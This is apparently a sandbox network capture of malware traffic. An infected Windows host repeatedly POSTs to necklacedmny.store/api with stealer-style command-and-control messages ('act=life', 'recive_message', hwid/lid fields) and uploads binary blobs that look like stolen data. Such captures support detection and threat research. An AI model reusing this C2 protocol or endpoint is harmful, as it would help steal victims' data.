2024-10-31 03:16:42 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uh33vt7jglu67uajf7vm3ijtgs; expires=Sun, 23-Feb-2025 21:03:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pskkonMOGfaJtr1NMbOSOrdOewCoMK%2FD8zarbogznGc8NkO7faFFpvm93OniGmCZF6tumqqawVZRx23E0n0un2JGrE5PZQs0xKPKtyXJGQEcTi%2BZY66UeLdF%2FsQsTW6oUrYAhvU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07ce54f182c8e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1145&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2450084&cwnd=250&unsent_bytes=0&cid=3a22ba44dfa75ba9&ts=443&x=0"
2024-10-31 03:16:42 UTC	214	IN	Data Raw: 64 30 0d 0a 34 49 68 66 37 47 67 7a 7a 4c 4c 45 50 75 46 62 47 43 59 42 4b 5a 66 6e 63 61 57 77 45 79 54 45 30 6d 6d 4d 62 56 49 73 54 39 4f 37 38 33 32 5a 53 67 6e 75 32 72 42 4b 6b 57 46 45 43 56 30 47 70 74 39 45 69 34 49 69 45 65 72 6a 57 4c 39 44 59 78 6f 54 2f 49 2f 75 4f 62 42 48 56 36 6e 55 36 6c 75 5a 50 6a 6f 4b 49 30 2f 6a 78 55 75 56 6e 44 46 42 35 75 68 5a 38 55 45 70 44 6a 72 78 32 71 6f 33 6d 42 78 44 39 75 37 72 59 73 35 71 49 42 4d 76 47 36 62 53 58 35 53 42 49 41 72 31 35 44 57 6a 41 44 74 43 4b 6f 2f 50 2b 6a 36 43 44 46 79 68 6e 4b 46 47 68 48 6b 30 42 47 64 64 74 64 31 42 69 5a 4a 32 42 76 37 69 46 4e 45 3d 0d 0a Data Ascii: d04Ihf7GgzzLLEPuFbGCYBKZfncaWwEyTE0mmMbVIsT9O7832ZSgnu2rBKkWFECV0Gpt9Ei4IiEerjWL9DYxoT/I/uObBHV6nU6luZPjoKI0/jxUuVnDFB5uhZ8UEpDjrx2qo3mBxD9u7rYs5qIBMvG6bSX5SBIAr15DWjADtCKo/P+j6CDFyhnKFGhHk0BGddtd1BiZJ2Bv7iFNE=
2024-10-31 03:16:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	58616	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:59 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 03:16:59 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 03:17:00 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l66sa817vsbevfldb5fd3bj2q6; expires=Sun, 23-Feb-2025 21:03:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sPoXW9aTFhsaO0OtPPnJ62NZ9bV9ds9MmXh0q8ndqtlwfIGW8rLVYtxlf6x1xGZIQNxU6Gh1nExL0jK0R%2FDzYpYAgwsoIwaJJsfj7EGR9PJJcLqCchFml%2B68hSv35XXXGwvnauM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07d517ce33acf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1289&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2198936&cwnd=230&unsent_bytes=0&cid=b49fe83524872f6a&ts=503&x=0"
2024-10-31 03:17:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 03:17:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	58618	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:17:00 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 03:17:00 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 03:17:01 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gr6k5cdgpd6reulpik9q0jrrqp; expires=Sun, 23-Feb-2025 21:03:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jZ4LObuTGUMyFzgvoG9ooAGC1lDCQ%2BhAi9RY7c7LAAHJSSu5HDVZfOwwdoXOuiM87uH%2BFQAhGTU0yCzuXPjvHxrbkBgzIlvkJ6Wu8AwKAcbi0AI5rgecqe%2FDo7VWuHyrwir60Qs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07d587cca3ac7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1131&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2362153&cwnd=250&unsent_bytes=0&cid=0222a29b25c8eb84&ts=694&x=0"
2024-10-31 03:17:01 UTC	356	IN	Data Raw: 34 34 36 63 0d 0a 63 59 70 48 70 6f 64 2f 46 30 52 64 36 30 71 58 6c 6c 63 63 61 50 72 59 36 48 6a 39 6b 72 37 55 57 5a 6d 6f 7a 32 65 37 7a 57 34 4b 71 44 47 45 76 55 73 37 5a 69 36 4f 61 4b 33 69 4a 57 6b 4e 31 76 71 4a 48 4e 2b 6f 32 4c 55 31 36 73 33 6a 52 63 32 67 54 45 76 73 4a 73 72 30 47 6a 74 6d 4f 4a 4e 6f 72 63 30 73 50 67 32 55 2b 74 4a 61 6d 50 6a 63 74 54 58 37 79 61 51 49 79 36 45 4e 47 65 59 67 7a 75 49 63 63 79 55 78 68 69 2f 79 38 7a 5a 32 42 70 4f 31 67 42 58 66 76 70 79 78 49 37 75 53 37 53 72 65 75 51 38 38 36 7a 54 4e 70 51 49 37 50 33 2b 4f 4a 4c 57 73 64 58 30 4e 6d 4c 53 4f 48 4a 62 36 31 72 77 39 2b 73 79 6c 46 39 4b 72 42 68 6e 6f 49 38 2f 6f 46 57 63 6f 4f 34 45 6b 39 50 6b 32 50 6b 54 59 76 5a 4a 61 78 37 43 50 68 44 6a 71 32 Data Ascii: 446ccYpHpod/F0Rd60qXllccaPrY6Hj9kr7UWZmoz2e7zW4KqDGEvUs7Zi6OaK3iJWkN1vqJHN+o2LU16s3jRc2gTEvsJsr0GjtmOJNorc0sPg2U+tJamPjctTX7yaQIy6ENGeYgzuIccyUxhi/y8zZ2BpO1gBXfvpyxI7uS7SreuQ886zTNpQI7P3+OJLWsdX0NmLSOHJb61rw9+sylF9KrBhnoI8/oFWcoO4Ek9Pk2PkTYvZJax7CPhDjq2
2024-10-31 03:17:01 UTC	1369	IN	Data Raw: 55 30 4e 34 49 6a 38 4f 59 2b 64 77 65 56 75 6f 63 51 6b 50 50 63 73 54 48 78 78 61 63 42 31 4b 49 4b 45 2b 68 6c 69 71 55 61 62 57 5a 6e 79 51 76 77 35 44 4a 79 48 4e 71 41 79 67 58 52 36 5a 79 78 4e 37 75 53 37 51 33 63 72 41 38 59 35 79 62 4d 37 67 39 31 4e 44 6d 45 4c 65 66 79 4d 48 41 41 6d 36 69 41 46 4a 6e 7a 31 62 30 79 2f 73 32 70 52 5a 66 76 43 77 75 6f 66 59 54 45 45 48 34 71 4e 5a 34 6f 74 65 74 37 5a 30 71 66 74 73 70 43 33 2f 54 64 73 6a 72 2f 78 4b 4d 42 31 61 6b 43 48 75 63 6a 7a 75 55 61 66 79 34 33 69 43 58 2b 2b 7a 56 37 42 35 79 38 68 68 75 61 73 4a 4c 32 50 4f 4f 4b 39 55 58 33 71 41 38 42 71 68 44 48 36 78 4e 79 4d 48 2b 57 5a 75 79 30 4d 6e 4a 4b 77 50 71 45 48 35 44 69 33 61 51 2b 39 64 69 68 41 4e 2b 69 44 78 33 6f 49 4d 50 6f 45 Data Ascii: U0N4Ij8OY+dweVuocQkPPcsTHxxacB1KIKE+hliqUabWZnyQvw5DJyHNqAygXR6ZyxN7uS7Q3crA8Y5ybM7g91NDmELefyMHAAm6iAFJnz1b0y/s2pRZfvCwuofYTEEH4qNZ4otet7Z0qftspC3/Tdsjr/xKMB1akCHucjzuUafy43iCX++zV7B5y8hhuasJL2POOK9UX3qA8BqhDH6xNyMH+WZuy0MnJKwPqEH5Di3aQ+9dihAN+iDx3oIMPoE
2024-10-31 03:17:01 UTC	1369	IN	Data Raw: 57 5a 75 79 30 4d 6e 4a 4b 77 50 71 47 45 35 2f 37 31 72 49 37 2f 4d 65 6f 42 74 36 73 41 52 54 69 4b 38 50 68 45 58 77 72 4f 59 6b 76 38 66 45 6e 65 77 4f 55 74 73 70 55 33 2f 66 45 39 6d 4f 37 35 61 6f 54 32 6f 41 50 41 75 46 6c 32 36 73 45 4e 53 45 7a 79 58 43 31 38 7a 42 32 41 5a 36 79 69 67 69 61 2f 74 65 33 4d 66 33 4c 6f 41 6e 66 72 77 30 54 37 69 6e 45 34 68 70 6e 4e 44 71 50 4f 76 2b 30 65 7a 34 4e 67 50 72 53 57 71 6e 67 79 36 63 74 75 66 2b 75 43 39 65 6f 47 6c 50 33 61 39 32 6c 47 6e 6c 6d 5a 38 6b 6a 39 66 67 79 64 67 79 63 73 6f 55 56 6c 75 4c 64 75 6a 58 70 7a 61 30 4d 31 36 41 41 47 75 55 69 79 65 34 58 65 43 49 34 69 47 69 37 74 44 4a 6d 53 73 44 36 76 41 71 53 2f 50 4b 39 4e 2f 4b 4b 73 6b 76 41 37 77 73 66 71 48 32 45 34 52 46 39 4c 44 Data Ascii: WZuy0MnJKwPqGE5/71rI7/MeoBt6sARTiK8PhEXwrOYkv8fEnewOUtspU3/fE9mO75aoT2oAPAuFl26sENSEzyXC18zB2AZ6yigia/te3Mf3LoAnfrw0T7inE4hpnNDqPOv+0ez4NgPrSWqngy6ctuf+uC9eoGlP3a92lGnlmZ8kj9fgydgycsoUVluLdujXpza0M16AAGuUiye4XeCI4iGi7tDJmSsD6vAqS/PK9N/KKskvA7wsfqH2E4RF9LD
2024-10-31 03:17:01 UTC	1369	IN	Data Raw: 38 44 4a 36 44 4a 66 36 78 46 71 59 36 4a 7a 75 65 39 54 74 6d 45 66 34 6c 55 77 4d 70 6a 79 45 34 68 45 31 66 6e 2b 46 4b 2f 6e 38 4f 6e 67 44 6c 4c 43 44 45 5a 50 37 32 4c 6f 79 2f 73 79 73 41 4e 79 75 43 42 2f 69 49 38 66 6d 45 6e 6f 70 4e 38 6c 6d 74 66 4d 74 50 6c 4c 59 6e 35 30 52 6b 66 61 63 71 58 58 69 69 71 6f 4a 6d 66 64 4d 48 2b 45 6a 77 75 41 52 64 43 41 33 6a 43 44 78 39 54 4e 34 43 5a 65 2b 6a 78 75 51 39 4e 43 34 4d 66 72 4c 6f 51 37 57 70 41 6c 54 70 6d 58 44 2f 56 30 74 5a 67 36 4b 50 75 4c 6b 4f 54 34 56 31 71 50 4b 48 5a 4f 77 68 50 59 36 36 63 43 6e 43 39 79 67 43 52 44 6e 49 73 6e 6a 45 58 38 76 4e 34 38 6e 2f 4f 59 32 63 67 53 66 74 49 59 55 6b 76 72 66 75 33 75 31 69 71 6f 64 6d 66 64 4d 50 2b 38 6f 36 75 34 52 63 6d 59 67 78 7a 47 Data Ascii: 8DJ6DJf6xFqY6Jzue9TtmEf4lUwMpjyE4hE1fn+FK/n8OngDlLCDEZP72Loy/sysANyuCB/iI8fmEnopN8lmtfMtPlLYn50RkfacqXXiiqoJmfdMH+EjwuARdCA3jCDx9TN4CZe+jxuQ9NC4MfrLoQ7WpAlTpmXD/V0tZg6KPuLkOT4V1qPKHZOwhPY66cCnC9ygCRDnIsnjEX8vN48n/OY2cgSftIYUkvrfu3u1iqodmfdMP+8o6u4RcmYgxzG
2024-10-31 03:17:01 UTC	1369	IN	Data Raw: 52 4c 59 34 73 6f 73 6d 4f 44 4d 74 58 6e 4b 33 4b 34 54 30 71 49 41 55 2f 64 72 33 61 55 61 65 57 5a 6e 79 53 37 36 2f 54 5a 78 43 35 47 32 68 78 2b 57 39 64 32 77 50 2f 48 41 72 51 50 66 72 67 6b 5a 36 79 54 4f 37 42 70 39 49 54 79 62 61 4c 75 30 4d 6d 5a 4b 77 50 71 6a 48 59 33 2b 7a 50 59 6b 74 64 50 74 41 74 58 76 56 46 50 73 4c 38 76 68 47 6e 6b 67 4f 6f 38 6c 39 50 73 30 66 67 57 63 73 59 4d 63 6e 76 33 5a 75 7a 2f 70 77 4b 59 4b 31 61 59 41 48 71 68 72 68 4f 49 46 4e 58 35 2f 75 43 58 37 2b 6a 4a 6f 53 6f 66 30 6b 31 71 59 2f 4a 7a 75 65 2f 72 47 6f 67 62 57 72 41 38 53 34 6a 66 57 36 52 52 39 49 7a 4f 43 4a 76 50 6d 4d 33 45 44 6d 37 6d 44 48 5a 66 38 31 72 55 38 75 34 54 74 41 73 48 76 56 46 50 4c 4d 74 54 6f 58 57 70 6f 4a 73 6b 76 2b 62 52 74 Data Ascii: RLY4sosmODMtXnK3K4T0qIAU/dr3aUaeWZnyS76/TZxC5G2hx+W9d2wP/HArQPfrgkZ6yTO7Bp9ITybaLu0MmZKwPqjHY3+zPYktdPtAtXvVFPsL8vhGnkgOo8l9Ps0fgWcsYMcnv3Zuz/pwKYK1aYAHqhrhOIFNX5/uCX7+jJoSof0k1qY/Jzue/rGogbWrA8S4jfW6RR9IzOCJvPmM3EDm7mDHZf81rU8u4TtAsHvVFPLMtToXWpoJskv+bRt
2024-10-31 03:17:01 UTC	1369	IN	Data Raw: 2b 4d 46 5a 44 35 31 62 49 7a 2b 4d 71 70 41 64 36 71 44 78 2f 6a 49 73 66 71 47 58 77 6f 4e 6f 5a 6f 75 37 51 79 5a 6b 72 41 2b 71 73 42 6e 50 7a 52 39 69 53 31 30 2b 30 43 31 65 39 55 55 2b 51 72 77 65 55 58 63 79 49 36 6a 79 4c 77 39 44 35 39 42 5a 79 38 6a 68 57 66 2b 39 57 33 50 66 37 41 70 67 50 55 72 41 6f 56 71 47 75 45 34 67 55 31 66 6e 2b 70 4d 2f 6a 34 4d 6a 34 56 31 71 50 4b 48 5a 4f 77 68 50 59 77 39 38 36 71 42 64 53 73 42 42 62 73 4c 38 48 6c 46 57 63 75 50 34 34 36 35 2f 51 38 65 77 61 62 75 6f 34 63 6c 76 62 66 73 6e 75 31 69 71 6f 64 6d 66 64 4d 50 75 51 69 37 65 49 47 4e 54 6c 78 6b 47 6a 79 2b 48 55 6d 53 70 6d 78 67 42 57 53 38 39 71 31 4d 50 37 41 72 41 4c 52 6f 68 34 51 35 79 72 41 35 52 4a 7a 49 44 36 47 4c 76 4c 39 4e 48 59 4e 32 Data Ascii: +MFZD51bIz+MqpAd6qDx/jIsfqGXwoNoZou7QyZkrA+qsBnPzR9iS10+0C1e9UU+QrweUXcyI6jyLw9D59BZy8jhWf+9W3Pf7ApgPUrAoVqGuE4gU1fn+pM/j4Mj4V1qPKHZOwhPYw986qBdSsBBbsL8HlFWcuP4465/Q8ewabuo4clvbfsnu1iqodmfdMPuQi7eIGNTlxkGjy+HUmSpmxgBWS89q1MP7ArALRoh4Q5yrA5RJzID6GLvL9NHYN2
2024-10-31 03:17:01 UTC	1369	IN	Data Raw: 34 35 74 61 78 4b 2f 7a 64 6f 6b 57 58 37 77 4e 54 73 42 79 45 37 42 70 75 4e 79 6d 45 4f 50 4b 30 43 6a 42 4b 67 50 72 53 57 71 72 7a 30 72 67 38 37 64 76 67 49 73 2b 6c 43 77 50 76 4d 73 75 6c 55 7a 55 67 66 39 46 37 75 37 51 78 62 30 72 41 36 74 68 42 79 71 4f 4c 35 6d 6e 6b 68 4c 52 46 7a 2b 39 55 51 61 5a 6c 31 71 56 46 4e 57 45 38 6d 7a 72 7a 39 79 4e 39 54 61 61 45 72 51 43 53 39 73 75 6e 42 63 58 4e 74 77 6a 66 75 42 31 66 2f 53 62 4b 36 78 70 6a 5a 6e 48 4a 4a 37 57 73 44 44 35 43 32 49 58 45 57 6f 65 77 68 50 59 4f 2b 4d 53 6a 41 73 2b 2b 51 54 54 79 4b 4d 4c 79 44 44 56 6f 66 34 39 6f 72 61 52 37 50 67 36 4a 2b 74 4a 4b 7a 61 75 4a 35 57 79 72 6d 4c 4a 4c 77 4f 38 61 55 37 42 33 69 71 55 50 4e 58 35 2f 7a 69 76 6e 35 6a 4e 39 48 4a 76 39 74 43 Data Ascii: 45taxK/zdokWX7wNTsByE7BpuNymEOPK0CjBKgPrSWqrz0rg87dvgIs+lCwPvMsulUzUgf9F7u7Qxb0rA6thByqOL5mnkhLRFz+9UQaZl1qVFNWE8mzrz9yN9TaaErQCS9sunBcXNtwjfuB1f/SbK6xpjZnHJJ7WsDD5C2IXEWoewhPYO+MSjAs++QTTyKMLyDDVof49oraR7Pg6J+tJKzauJ5WyrmLJLwO8aU7B3iqUPNX5/zivn5jN9HJv9tC
2024-10-31 03:17:01 UTC	1369	IN	Data Raw: 67 7a 6a 31 78 4b 6f 54 79 4f 49 72 48 65 38 6b 30 76 55 4b 65 6d 5a 78 79 53 36 31 72 47 63 77 53 70 79 72 79 6b 4c 50 6f 6f 66 6a 61 4b 79 61 2f 78 71 58 74 6b 77 46 71 48 32 57 71 31 31 6e 5a 6d 66 4a 62 2f 62 6d 4a 33 67 4a 6a 72 6e 4e 4a 4b 48 58 30 72 45 36 37 64 71 36 43 70 61 42 4f 6a 4c 57 47 39 48 6d 45 33 73 68 4b 5a 68 6f 75 37 51 36 50 6c 4b 68 2b 73 4a 61 6f 4c 36 63 72 6e 75 6a 69 70 67 47 31 36 45 4c 42 66 6c 6f 34 2b 73 61 64 44 41 76 6e 69 65 36 32 67 4e 66 53 74 62 36 6a 46 72 48 6f 70 4c 32 50 2b 71 4b 39 56 57 4c 39 46 6c 41 76 33 57 57 2b 6c 4e 73 5a 69 6e 4a 63 4b 65 36 64 57 78 4b 77 50 72 4e 47 59 33 69 32 72 55 74 2b 49 32 54 4f 2f 36 68 43 78 4c 2b 4e 63 6e 70 50 48 59 33 4e 62 63 57 34 50 63 37 63 41 32 4f 71 38 70 55 33 2f 2b Data Ascii: gzj1xKoTyOIrHe8k0vUKemZxyS61rGcwSpyrykLPoofjaKya/xqXtkwFqH2Wq11nZmfJb/bmJ3gJjrnNJKHX0rE67dq6CpaBOjLWG9HmE3shKZhou7Q6PlKh+sJaoL6crnujipgG16ELBflo4+sadDAvnie62gNfStb6jFrHopL2P+qK9VWL9FlAv3WW+lNsZinJcKe6dWxKwPrNGY3i2rUt+I2TO/6hCxL+NcnpPHY3NbcW4Pc7cA2Oq8pU3/+
2024-10-31 03:17:01 UTC	1369	IN	Data Raw: 64 2b 75 46 64 36 52 4d 6a 37 36 49 74 54 6d 58 31 6b 68 4d 6f 55 57 79 38 4d 6b 65 52 72 61 6e 49 6b 4d 6e 4c 43 53 39 69 4f 37 6b 75 30 6f 79 36 67 63 45 4b 6f 4a 77 2b 67 52 4e 54 6c 78 6b 47 6a 6a 74 47 30 74 52 4e 69 6f 79 6b 4c 66 74 39 2b 6b 4b 66 33 4a 75 77 61 65 6b 54 49 2b 2b 69 4c 55 35 6c 39 45 4b 7a 75 66 50 66 62 6b 4d 6b 41 30 74 61 69 4e 43 70 79 79 2b 59 78 35 79 74 79 75 42 64 65 6f 54 46 32 6f 50 59 53 39 58 56 67 30 4f 4a 6b 72 74 39 45 50 50 44 75 4f 75 59 6f 55 6d 4c 44 44 2b 43 4b 37 33 4f 31 64 69 75 46 4d 41 61 68 39 68 4b 49 54 65 43 63 38 68 79 76 6e 35 6a 4e 39 48 4a 76 39 74 43 53 77 2b 39 32 6d 4e 75 72 48 71 52 50 6e 6b 53 73 56 37 53 4c 36 32 79 70 6b 49 53 2f 4c 44 76 62 69 4e 6a 35 45 32 4b 4c 4b 51 74 2f 58 32 72 4d 38 Data Ascii: d+uFd6RMj76ItTmX1khMoUWy8MkeRranIkMnLCS9iO7ku0oy6gcEKoJw+gRNTlxkGjjtG0tRNioykLft9+kKf3JuwaekTI++iLU5l9EKzufPfbkMkA0taiNCpyy+Yx5ytyuBdeoTF2oPYS9XVg0OJkrt9EPPDuOuYoUmLDD+CK73O1diuFMAah9hKITeCc8hyvn5jN9HJv9tCSw+92mNurHqRPnkSsV7SL62ypkIS/LDvbiNj5E2KLKQt/X2rM8

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	58620	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:17:02 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 03:17:02 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:17:02 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 03:17:02 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vsi6qid8b8o59homm5p4ncmihe; expires=Sun, 23-Feb-2025 21:03:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WlnkIqBRnbt%2ByuxOuKTHEQVDMNkTCb4SPRZBEVMgTxS%2F3mkZyVBWKxw3IVCj9vsw2ncDVRDxGmHxjrq9FY0i0EMPsTsPZGYQwG7Tgzb%2FxPzD%2F7fwRUZFWPOZH67b9aqSlQ337w0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07d619ceb46e9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1866&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=1547008&cwnd=248&unsent_bytes=0&cid=2e9929b4115b86e0&ts=695&x=0"
2024-10-31 03:17:02 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:17:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	58621	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:17:03 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 03:17:03 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
